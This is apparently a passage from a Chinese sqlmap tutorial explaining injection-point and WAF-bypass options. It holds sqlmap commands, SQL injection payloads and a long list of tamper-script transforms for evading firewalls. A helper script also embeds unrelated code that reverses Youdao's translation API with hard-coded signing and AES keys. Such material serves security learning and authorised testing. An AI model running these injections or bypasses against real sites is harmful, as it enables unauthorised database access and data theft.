        示例:sqlmap -u "http://example.com/page?id=1" --level=3 --risk=2
  • 其他可控参数。sqlmap 还支持以下特定类型的参数:
    JSON 数据(--data 包含 JSON 格式时自动识别):sqlmap -u "http://example.com/api" --data='{"user":"admin","pass":"123"}'
    XML 数据:sqlmap -u "http://example.com/api" --data='<user><name>admin</name></user>'

检测和利用 SQL 注入漏洞

假设你正在进行 Web 应用审计,发现有某个 Web 页面接受来自用户端提供的动态数据,这些数据通过 GETPOSTCookie 参数或 HTTP User-Agent 请求头发送。 因而,你想测试是否可以通过参数构造出 SQL 注入漏洞,如果有漏洞,则可以利用它们从后端 DBMS(Database Management System,数据库管理系统)中获取尽可能多的信息,甚至进一步控制底层的文件系统和操作系统。

简而言之,考虑下面的 url:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

假设:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
页面显示跟原来的一样(AND+1=1 条件取值为 True(译者注:url 编码中 + 会被转成空格)),
而:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

页面显示跟原来的不一样(AND+1=2 条件取值为 False)。这可能说明 index.phpGET 参数 id 存在 SQL 注入漏洞。此外,这种情形也表明用户输入的数据在 SQL 语句传送到 DBMS 之前没有被过滤。

这种设计缺陷在动态网页应用中十分常见,此类型漏洞与后端 DBMS 或后端编程语言并没有关系,漏洞的引入通常存在于代码的编写逻辑里面。从 2013 年开始,OWASP(Open Web Application Security Project,开放 Web 应用安全组织)已将此类漏洞列入最常见(译者注:原链接失效,重新添加了有效链接)严重 Web 应用漏洞的前十名单。

从上面的例子我们发现了存在可以利用的参数,现在我们可以通过在每一次的 HTTP 请求中修改 id 进行相关的漏洞检测。

重回上面的情景,根据以往经验,我们可以对 get_ini.php 页面中如何使用用户提交的参数值构建出相应的 SELECT 语句做一个大致的猜测。参考下面的 PHP 伪代码:$query = "SELECT [column name(s)] FROM [table name] WHERE id=" . $_REQUEST['id'];

如你所见,通过在 id 参数后面添加符合语法并且布尔值为 True 的 SQL 语句(例如 id=1 AND 1=1),能够使 Web 应用返回和之前合法请求(没有添加其它的 SQL 语句)一模一样的页面。由此可见,后端 DBMS 执行了先前我们注入的 SQL 语句。上面的例子展示了一个基于布尔值的简单 SQL 盲注。当然,sqlmap 可以检测出任意类型的 SQL 注入漏洞,并相应地调整其后续的工作流程。

在这个简单的场景中不只是可以添加一个或多个 SQL 判断条件语句,还可以(取决于 DBMS 类型)添加更多的 SQL 堆叠查询(Stacked queries)语句。例如:[...]&id=1; 其他 SQL 查询语句#

sqlmap 能自动识别和利用这类型漏洞。将源链接 http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 添加到 sqlmap,它能够自动完成下面操作:

  • 识别有漏洞的参数(比如这个例子中的 id)
  • 针对有漏洞的参数,自动选取对应类型的 SQL 注入技术
  • 识别后端 DBMS 的相关指纹信息
  • 根据用户使用的选项,它还能采集尽可能多的指纹信息,拉取数据或是掌管整个数据库服务器

网上还有很多深入讲解如何检测、利用和防止 SQL 注入漏洞的资源。推荐你在学习使用 sqlmap 之前阅读这些材料。

dsaf

选项:-p 指定要测试的参数

选项:-p--skip--param-exclude

默认情况下 sqlmap 会测试所有 GET 参数和 POST 参数。当 --level 的值 >= 2,它还会测试 HTTP Cookie 头部值。当这个值 >= 3 时,它还会测试 HTTP User-Agent 和 HTTP Referer 头部值。如果上面不满足时,可以手动指定一个需要 sqlmap 进行测试的、使用逗号分隔的参数列表。这会使 sqlmap 忽略 --level 的设置。

例如,只需要测试 GET 参数 id 和 HTTP User-Agent 时,则提供 -p "id,user-agent"

如果用户想要排除测试某些参数,可以使用选项 --skip。如果需要使用高级别 --level 值,并指定部分可用参数(排除通常被测试的 HTTP 头)时,这个选项非常有用。

例如,要在 --level=5 跳过测试 HTTP User-Agent 和 HTTP Referer,可以提供 --skip="user-agent,referer"

还可以基于正则表达式针对参数名称来排除对某些参数的测试。在这种情况下,用户可以使用选项 --param-exclude

例如,要跳过对名称中包含 tokensession 的参数测试,可以提供 --param-exclude="token|session"

星号(*):"URI 、任意" 注入点

有一些特殊情况是注入点处于 URI 本身内。除非手动指定,否则 sqlmap 不会对 URI 路径执行任何自动测试。如果想要测试就需要在命令行中标明这些注入点,只需要在 URI 后面附加一个星号(*) 即可。注意:也支持 Havij 风格 %INJECT HERE%

场景:有些 web 服务器进行了url rewrite 或者 网站是伪静态的页面,sqlmap 的普通注入是不行的,所以提供了 * 参数,将SQL语句插入指定位置。" * " 一般用于伪静态注入。

  • 在无法直接提供测试参数时使用 * 来代替要测试的参数。
  • 在使用 HTTP 注入时使用 -r 参数也可以直接在文本中添加*号

遇到 url 重写注入时,哪里存在注入就在哪里后面加上 * 号
        示例:sqlmap.py -u "http://www.cunlide.com/id1/1*/id2/2"

        示例:sqlmap.py -u "http://www.xxx.com/id/1*.html" --dbs

        示例:sqlmap -u "http://targeturl/param1/value1*/param2/value2/"

星号(*) 也可以用于指向 GET,POST 或 HTTP 头部中的任意注入点。可以在选项 -u 中标注 GET 的参数值,在选项 --data 中标注 POST 的参数值,在选项 -H 中标注 HTTP 头部值如 --headers--user-agent--referer--cookie,或者标注从文件加载的 HTTP 请求中的通用位置,用于指定相应的注入点。

示例:$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

指定 DBMS:--dbms

如果由于某些原因 sqlmap 已经识别出 SQL 注入却无法检测到后端 DBMS 类型,或者你想避免执行指纹信息收集,可以自己提供后端 DBMS 的名称(例如:postgresql)。对于 MySQL 和 Microsoft SQL Server 分别以 MySQL <version>Microsoft SQL Server <version> 的形式提供,其中 <version> 是指 DBMS 的有效版本;例如 MySQL 为 5.0,Microsoft SQL Server 为 2005

如果你同时使用 --dbms--fingerprint,sqlmap 将只对指定的 DBMS 执行详细的指纹收集,更详细的信息请阅读下文。

注意,此选项不是强制性的,强烈建议仅当你绝对确定后端 DBMS 时使用它。如果你不知道,就让 sqlmap 自动为你识别指纹信息。

选项:--os

检测 Web 应用程序后端 DBMS 的底层操作系统。 目前完全支持的操作系统有:Linux、windows。注意,此选项不是强制性的,强烈建议仅当你绝对确定后端 DBMS 底层操作系统时使用它。如果你不知道,就让 sqlmap 自动为你识别。

开关:--invalid-bignum

强制使用大数来使参数值无效。在 sqlmap 需要使原参数值无效(例如:id=13)的情况下,它会使用负数(例如:id=-13)。使用此开关可以强制使用大整数值来达到一样的效果(例如:id=99999999)。

开关:--invalid-logical

强制使用逻辑运算使参数值无效。在 sqlmap 需要使原参数值无效(例如:id=13)的情况下,它会使用负数(例如:id=-13)。使用此开关可以强制使用布尔运算来达到一样的效果(例如:id=13 AND 18=19)。

开关:--invalid-string

强制使用随机字符串使参数值无效。在 sqlmap 需要使原始参数值无效(例如:id=13)的情况下,它会使用负数(例如:id=-13)。使用此开关可以强制使用随机字符串来达到一样的效果(例如:id=akewmc)。

开关:--no-cast

关闭 payload 构造机制。返回生成结果时,sqlmap 会将所有条目都转换为字符串类型,并使用空格字符替换 NULL 值。这样做是为了避免任何错误的状态(例如:使用字符串连接 NULL 值)并简化数据检索过程本身。然而,根据报告有些情形(例如:MySQL DBMS 的旧版本)由于数据检索本身存在问题(例如:返回了 None 值),需要关闭此机制(使用此开关)。

开关:--no-escape

关闭字符串转义机制。在 sqlmap 需要使用(单引号分隔的)payloads 里的字符串(例如:SELECT 'foobar')的情况下,这些值将被自动转义(例如:SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)(译者注:该例语法适用于 Microsoft SQL Server))。这么做有两个原因:对 payload 内容进行模糊处理,还有防止后端服务器上潜在的查询转义机制(例如:magic_quotes 和/或 mysql_real_escape_string)。用户可以使用此开关将其关闭(例如:需要减小 payload 的大小时)。

选项:--prefix--suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证 payload 的正常执行。常用场景:当注入点存在于嵌套的 JOIN 查询。
例如,代码中是这样调用数据库的:$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
这时你就需要 --prefix 和 --suffix 参数了:python sqlmap.py -u "http://192.168.0.3/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
这样执行的 SQL 语句变成:$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

绕过 ips / ids / waf:--tamper

tamper 中文翻译 "做手脚,破坏"

  • 开关:--hpp 。使用 HTTP 参数污染。HTTP 参数污染(HPP)是一种绕过 WAF/IPS 防护机制(这里 有相关介绍)的方法,对 ASP/IIS 和 ASP.NET/IIS 平台尤其有效。如果你怀疑目标使用了这种防护机制,可以尝试使用此开关以绕过它。
  • 开关:--skip-waf 。跳过启发式检测 WAF/IPS 防护。默认情况下,sqlmap 自动在一个启动请求中发送一个虚假的参数值,其中包含一个有意“可疑”的 SQL 注入 payload(例如:...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1)。如果目标响应与原始请求响应不同,那么它很可能存在防护机制。sqlmap 会自动尝试识别后端 WAF/IPS 防护(如果有),以便用户执行后续对应步骤 (例如:通过选项 --tamper 使用篡改脚本)。目前大约支持 80 种不同的产品 (例如:Airlock,Barracuda WAF 等)。如果没有 ips、waf 防护,则可以使用 --skip-waf 来禁用此机制。
  • sqlmap 的 --tamper 选项可以使用脚本来修改注入的 Payload,这些脚本对注入数据进行变形处理,例如编码、混淆、替换字符、改变关键字大小写等。然后把修改后的 payload 发送出去,以绕过 Web 应用防火墙(WAF)或其他安全机制。要利用此选项,需要为 sqlmap 提供逗号分隔的修改脚本列表,这将处理 payload 并返回转换结果。你可以定义自己的修改脚本,编辑使用 sqlmap tamper/ 文件夹中的脚本,并使用逗号分隔连接它们作为 --tamper 选项的值(例如:--tamper="between,randomcase")。

关于 waf:https://www.bilibili.com/video/BV1jL4y1j7i6?p=51
绕过WAF、安全狗知识整理:https://blog.csdn.net/weixin_49769267/article/details/131748520

安全厂商可能已经把 sqlmap 自带的 tamper 研究了个遍,这时就需要第三方 tamper,
搜索关键字:sqlmap 第三方 tamper 大全

SQLMAP-Tamper之较为通用的双写绕过:https://segmentfault.com/a/1190000041556152

将所有字符串转换为 CHAR() 函数形式:SELECT * FROM users WHERE name = CHAR(65, 100, 109, 105, 110)
charencode.py 脚本示例:sqlmap -u "http://example.com/page?id=1" --tamper=charencode

自定义 tamper 脚本格式如下。使用脚本:sqlmap -u "http://example.com/page?id=1" --tamper=/path/to/custom_tamper.py

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    '''
        Description of your tamper script
    '''
    retVal = payload
    # your code to tamper the original payload
    # return the tampered payload
    return retVal

如果不想使用 CHAR(),只想发送原始字符串,可以通过以下方式:

  • 不使用相关 tamper 脚本。例如 charencode。
  • 手动构造 payload。可以使用 --sql-query 直接发送自定义查询:sqlmap -u "http://example.com/page?id=1" --sql-query="SELECT * FROM users WHERE name='admin'"

修改 WAF 绕过策略。

如果 sqlmap 因为检测到防护机制而自动切换到 CHAR() 方式,可以通过以下参数避免:--no-cast:禁用自动类型转换。--no-escape:禁用自动转义字符。示例:sqlmap -u "http://example.com/page?id=1" --no-cast --no-escape

常见绕过场景。

使用 CHAR() 通常是为了绕过某些过滤机制。

例如:过滤了单引号 '。过滤了关键字 SELECT、UNION 等。

sqlmap 的 tamper 目录下有用于绕过 waf 的脚本 ( KALI目录位置:/usr/share/sqlmap/tamper/ )。
如果找不到所在位置,可以使用 find 查找:find / -type d -name "sqlmap" -print

Python 打印所有 tamper 脚本以及脚本说明

import json
import execjs
import requests
import pkgutil
import importlib
import inspect
from sqlmap import tamper

js_code_1 = """
const Crypto = require("crypto");

const u = "fanyideskweb", 
        d = "webfanyi", 
        m = "client,mysticTime,product", 
        p = "1.0.0", 
        g = "web", 
        b = "fanyi.web", 
        A = 1, 
        h = 1, 
        f = 1, 
        v = "wifi", 
        O = 0;
function j(e) {
    return Crypto.createHash("md5").update(e.toString()).digest("hex")
}
function k(e, t) {
    return j(`client=${u}&mysticTime=${e}&product=${d}&key=${t}`)
}

function set_post_data(txt) {
    const o = (new Date).getTime();
    let e = 'fsdsogkndfokasodnaso'
    return {
        i: txt,
        from: 'auto',
        to: '',
        useTerm: 'false',
        dictResult: 'true',
        keyid: 'webfanyi',
        sign: k(o, e),
        client: u,
        product: d,
        appVersion: p,
        vendor: g,
        pointParam: m,
        mysticTime: o,
        keyfrom: b,
        mid: A,
        screen: h,
        model: f,
        network: v,
        abtest: O,
        yduuid: "abcdefg"
    }
}
"""

js_code_2 = """
const Crypto = require("crypto");
 
 
function y(e) {
  // 使用 md5 算法创建一个哈希对象
  return Crypto.createHash("md5")
    // 更新哈希对象的内容为参数 e
    .update(e)
    // 获取哈希值并返回
    .digest()
}
 
function get_data(data){
  // 定义变量o,存储密钥
  let o = "ydsecret://query/key/B*RGygVywfNBwpmBaZg*WT7SIOUP2T0C9WHMZN39j^DAdaZhAnxvGcCY6VYFwnHl";
  // 定义变量n,存储初始化向量
  let n = "ydsecret://query/iv/C@lZe2YzHtZ2CYgaXKSVfsb7Y4QWHjITPPZ0nQp87fBeJ!Iv6v^6fvi2WN@bYpJ4";
 
  // 调用函数y,传入密钥o,将返回值赋给变量a
  const a = y(o)
    // 调用函数y,传入初始化向量n,将返回值赋给变量i
    , i = y(n)
    // 创建解密器r,使用AES-128-CBC算法,密钥为a,初始化向量为i
    , r = Crypto.createDecipheriv("aes-128-cbc", a, i);
 
  // 使用解密器r对传入的base64编码的数据data进行解密,结果以utf-8编码
  let s = r.update(data, "base64", "utf-8");
 
  // 将解密器r的最终结果以utf-8编码添加到s中,并返回s
  return s += r.final("utf-8"), s
}
"""


def get_post_data(txt="hello"):
    json_dict = execjs.compile(js_code_1).call('set_post_data', txt)
    return json_dict


def get_data(resp_text):
    result = execjs.compile(js_code_2).call('get_data', resp_text)
    return result


def web_translate(raw_text='hello'):
    post_data = get_post_data(raw_text)
    url = 'https://dict.youdao.com/webtranslate'
    headers = {
        'Accept': 'application/json, text/plain, */*',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Cache-Control': 'no-cache',
        'Connection': 'keep-alive',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Origin': 'https://fanyi.youdao.com',
        'Pragma': 'no-cache',
        'Referer': 'https://fanyi.youdao.com/',
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-site',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
        'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
    }
    cookies = {
        "OUTFOX_SEARCH_USER_ID": "-1579084576@61.173.21.108",
        # "OUTFOX_SEARCH_USER_ID_NCOO": "1234777574.1625025",
        # "DICT_DOCTRANS_SESSION_ID": "ODk3ZTY4NzAtMTUyMS00MzBhLWFkYjAtZGJiZWZmOGI0MGIx"
    }
    response = requests.post(url, headers=headers, cookies=cookies, data=post_data)
    resp_text = response.text
    decrypt_text = get_data(resp_text)
    data_dict = json.loads(decrypt_text)
    # print(data_dict)
    # print(f'原始文本 ---> {raw_text}')
    # print(f'翻译文本 ---> {data_dict["translateResult"][0][0]["tgt"]}')
    return data_dict["translateResult"][0][0]["tgt"]


def print_tamper_docstrings(package):
    """列出包中的所有模块,并打印 tamper 函数的文档字符串。"""
    print(f"扫描包: {package.__name__}")
    for module_info in pkgutil.iter_modules(package.__path__):
        module_name = f"{package.__name__}.{module_info.name}"
        try:
            # 动态导入模块
            module = importlib.import_module(module_name)
            # 查找模块中的 tamper 函数
            if hasattr(module, 'tamper') and inspect.isfunction(module.tamper):
                print(f"\n模块: {module_name}")
                doc_text = inspect.getdoc(module.tamper)
                print(f'tamper函数的文档字符串: \n{doc_text}')
                ########################################################################
                # 翻译成中文
                # text_list = [x.strip() for x in doc_text.split("\n") if x.strip()]
                # is_translate = True
                # for text_en in text_list:
                #     if text_en.startswith('>>>'):
                #         is_translate = False
                #     text_cn = web_translate(text_en) if is_translate else text_en
                #     print(text_cn)
                # print('#' * 50)
                ########################################################################
        except Exception as e:
            print(f"Error loading module {module_name}: {e}")


if __name__ == '__main__':
    # web_translate('hello')
    # web_translate('this is a test')
    # print(web_translate('今天是个好天气\n早上好'))
    mypackage = tamper
    print_tamper_docstrings(mypackage)
    pass

输出结果:

扫描包: sqlmap.tamper

模块: sqlmap.tamper.0eunion
tamper函数的文档字符串: 
Replaces instances of <int> UNION with <int>e0UNION

Requirement:
    * MySQL
    * MsSQL

Notes:
    * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

>>> tamper('1 UNION ALL SELECT')
'1e0UNION ALL SELECT'

模块: sqlmap.tamper.apostrophemask
tamper函数的文档字符串: 
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)

References:
    * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
    * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
    * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
    * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps

>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

模块: sqlmap.tamper.apostrophenullencode
tamper函数的文档字符串: 
Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27)

>>> tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'

模块: sqlmap.tamper.appendnullbyte
tamper函数的文档字符串: 
Appends (Access) NULL byte character (%00) at the end of payload

Requirement:
    * Microsoft Access

Notes:
    * Useful to bypass weak web application firewalls when the back-end
      database management system is Microsoft Access - further uses are
      also possible

Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection

>>> tamper('1 AND 1=1')
'1 AND 1=1%00'

模块: sqlmap.tamper.base64encode
tamper函数的文档字符串: 
Base64-encodes all characters in a given payload

>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='

模块: sqlmap.tamper.between
tamper函数的文档字符串: 
Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #'

Tested against:
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0

Notes:
    * Useful to bypass weak and bespoke web application firewalls that
      filter the greater than character
    * The BETWEEN clause is SQL standard. Hence, this tamper script
      should work against all (?) databases

>>> tamper('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
>>> tamper('1 AND A = B--')
'1 AND A BETWEEN B AND B--'
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'

模块: sqlmap.tamper.binary
tamper函数的文档字符串: 
Injects keyword binary where possible

Requirement:
    * MySQL

>>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
'1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
>>> tamper('1 AND 2>1')
'1 AND binary 2>binary 1'
>>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'

模块: sqlmap.tamper.bluecoat
tamper函数的文档字符串: 
Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE

Requirement:
    * Blue Coat SGOS with WAF activated as documented in
    https://kb.bluecoat.com/index?page=content&id=FAQ2147

Tested against:
    * MySQL 5.1, SGOS

Notes:
    * Useful to bypass Blue Coat's recommended WAF rule configuration

>>> tamper('SELECT id FROM users WHERE id = 1')
'SELECT%09id FROM%09users WHERE%09id LIKE 1'

模块: sqlmap.tamper.chardoubleencode
tamper函数的文档字符串: 
Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554)

Notes:
    * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset

>>> tamper('SELECT FIELD FROM%20TABLE')
'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'

模块: sqlmap.tamper.charencode
tamper函数的文档字符串: 
URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)

Tested against:
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0

Notes:
    * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset
    * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS

>>> tamper('SELECT FIELD FROM%20TABLE')
'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'

模块: sqlmap.tamper.charunicodeencode
tamper函数的文档字符串: 
Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)

Requirement:
    * ASP
    * ASP.NET

Tested against:
    * Microsoft SQL Server 2000
    * Microsoft SQL Server 2005
    * MySQL 5.1.56
    * PostgreSQL 9.0.3

Notes:
    * Useful to bypass weak web application firewalls that do not unicode URL-decode the request before processing it through their ruleset

>>> tamper('SELECT FIELD%20FROM TABLE')
'%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'

模块: sqlmap.tamper.charunicodeescape
tamper函数的文档字符串: 
Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> SELECT)

Notes:
    * Useful to bypass weak filtering and/or WAFs in JSON contexes

>>> tamper('SELECT FIELD FROM TABLE')
'\\u0053\\u0045\\u004C\\u0045\\u0043\\u0054\\u0020\\u0046\\u0049\\u0045\\u004C\\u0044\\u0020\\u0046\\u0052\\u004F\\u004D\\u0020\\u0054\\u0041\\u0042\\u004C\\u0045'

模块: sqlmap.tamper.commalesslimit
tamper函数的文档字符串: 
Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart

Requirement:
    * MySQL

Tested against:
    * MySQL 5.0 and 5.5

>>> tamper('LIMIT 2, 3')
'LIMIT 3 OFFSET 2'

模块: sqlmap.tamper.commalessmid
tamper函数的文档字符串: 
Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart

Requirement:
    * MySQL

Tested against:
    * MySQL 5.0 and 5.5

>>> tamper('MID(VERSION(), 1, 1)')
'MID(VERSION() FROM 1 FOR 1)'

模块: sqlmap.tamper.commentbeforeparentheses
tamper函数的文档字符串: 
Prepends (inline) comment before parentheses (e.g. ( -> /**/()

Tested against:
    * Microsoft SQL Server
    * MySQL
    * Oracle
    * PostgreSQL

Notes:
    * Useful to bypass web application firewalls that block usage
      of function calls

>>> tamper('SELECT ABS(1)')
'SELECT ABS/**/(1)'

模块: sqlmap.tamper.concat2concatws
tamper函数的文档字符串: 
Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart

Requirement:
    * MySQL

Tested against:
    * MySQL 5.0

Notes:
    * Useful to bypass very weak and bespoke web application firewalls
      that filter the CONCAT() function

>>> tamper('CONCAT(1,2)')
'CONCAT_WS(MID(CHAR(0),0,0),1,2)'

模块: sqlmap.tamper.decentities
tamper函数的文档字符串: 
HTML encode in decimal (using code points) all characters (e.g. ' -> &#39;)

>>> tamper("1' AND SLEEP(5)#")
'&#49;&#39;&#32;&#65;&#78;&#68;&#32;&#83;&#76;&#69;&#69;&#80;&#40;&#53;&#41;&#35;'

模块: sqlmap.tamper.dunion
tamper函数的文档字符串: 
Replaces instances of <int> UNION with <int>DUNION

Requirement:
    * Oracle

Notes:
    * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

>>> tamper('1 UNION ALL SELECT')
'1DUNION ALL SELECT'

模块: sqlmap.tamper.equaltolike
tamper函数的文档字符串: 
Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart

Tested against:
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5

Notes:
    * Useful to bypass weak and bespoke web application firewalls that
      filter the equal character ('=')
    * The LIKE operator is SQL standard. Hence, this tamper script
      should work against all (?) databases

>>> tamper('SELECT * FROM users WHERE id=1')
'SELECT * FROM users WHERE id LIKE 1'

模块: sqlmap.tamper.equaltorlike
tamper函数的文档字符串: 
Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart

Tested against:
    * MySQL 4, 5.0 and 5.5

Notes:
    * Useful to bypass weak and bespoke web application firewalls that
      filter the equal character ('=')

>>> tamper('SELECT * FROM users WHERE id=1')
'SELECT * FROM users WHERE id RLIKE 1'

模块: sqlmap.tamper.escapequotes
tamper函数的文档字符串: 
Slash escape single and double quotes (e.g. ' -> ')

>>> tamper('1" AND SLEEP(5)#')
'1\\" AND SLEEP(5)#'

模块: sqlmap.tamper.greatest
tamper函数的文档字符串: 
Replaces greater than operator ('>') with 'GREATEST' counterpart

Tested against:
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0

Notes:
    * Useful to bypass weak and bespoke web application firewalls that
      filter the greater than character
    * The GREATEST clause is a widespread SQL command. Hence, this
      tamper script should work against majority of databases

>>> tamper('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

模块: sqlmap.tamper.halfversionedmorekeywords
tamper函数的文档字符串: 
Adds (MySQL) versioned comment before each keyword

Requirement:
    * MySQL < 5.1

Tested against:
    * MySQL 4.0.18, 5.0.22

Notes:
    * Useful to bypass several web application firewalls when the
      back-end database management system is MySQL
    * Used during the ModSecurity SQL injection challenge,
      http://modsecurity.org/demo/challenge.html

>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

模块: sqlmap.tamper.hex2char
tamper函数的文档字符串: 
Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),...) counterpart

Requirement:
    * MySQL

Tested against:
    * MySQL 4, 5.0 and 5.5

Notes:
    * Useful in cases when web application does the upper casing

>>> tamper('SELECT 0xdeadbeef')
'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))'

模块: sqlmap.tamper.hexentities
tamper函数的文档字符串: 
HTML encode in hexadecimal (using code points) all characters (e.g. ' -> &#x31;)

>>> tamper("1' AND SLEEP(5)#")
'&#x31;&#x27;&#x20;&#x41;&#x4e;&#x44;&#x20;&#x53;&#x4c;&#x45;&#x45;&#x50;&#x28;&#x35;&#x29;&#x23;'

模块: sqlmap.tamper.htmlencode
tamper函数的文档字符串: 
HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> &#39;)

>>> tamper("1' AND SLEEP(5)#")
'1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;'
>>> tamper("1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;")
'1&#39;&#32;AND&#32;SLEEP&#40;5&#41;&#35;'

模块: sqlmap.tamper.if2case
tamper函数的文档字符串: 
Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart

Requirement:
    * MySQL
    * SQLite (possibly)
    * SAP MaxDB (possibly)

Tested against:
    * MySQL 5.0 and 5.5

Notes:
    * Useful to bypass very weak and bespoke web application firewalls
      that filter the IF() functions

>>> tamper('IF(1, 2, 3)')
'CASE WHEN (1) THEN (2) ELSE (3) END'
>>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)')
'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END'

模块: sqlmap.tamper.ifnull2casewhenisnull
tamper函数的文档字符串: 
Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart

Requirement:
    * MySQL
    * SQLite (possibly)
    * SAP MaxDB (possibly)

Tested against:
    * MySQL 5.0 and 5.5

Notes:
    * Useful to bypass very weak and bespoke web application firewalls
      that filter the IFNULL() functions

>>> tamper('IFNULL(1, 2)')
'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END'

模块: sqlmap.tamper.ifnull2ifisnull
tamper函数的文档字符串: 
Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart

Requirement:
    * MySQL
    * SQLite (possibly)
    * SAP MaxDB (possibly)

Tested against:
    * MySQL 5.0 and 5.5

Notes:
    * Useful to bypass very weak and bespoke web application firewalls
      that filter the IFNULL() function

>>> tamper('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'

模块: sqlmap.tamper.informationschemacomment
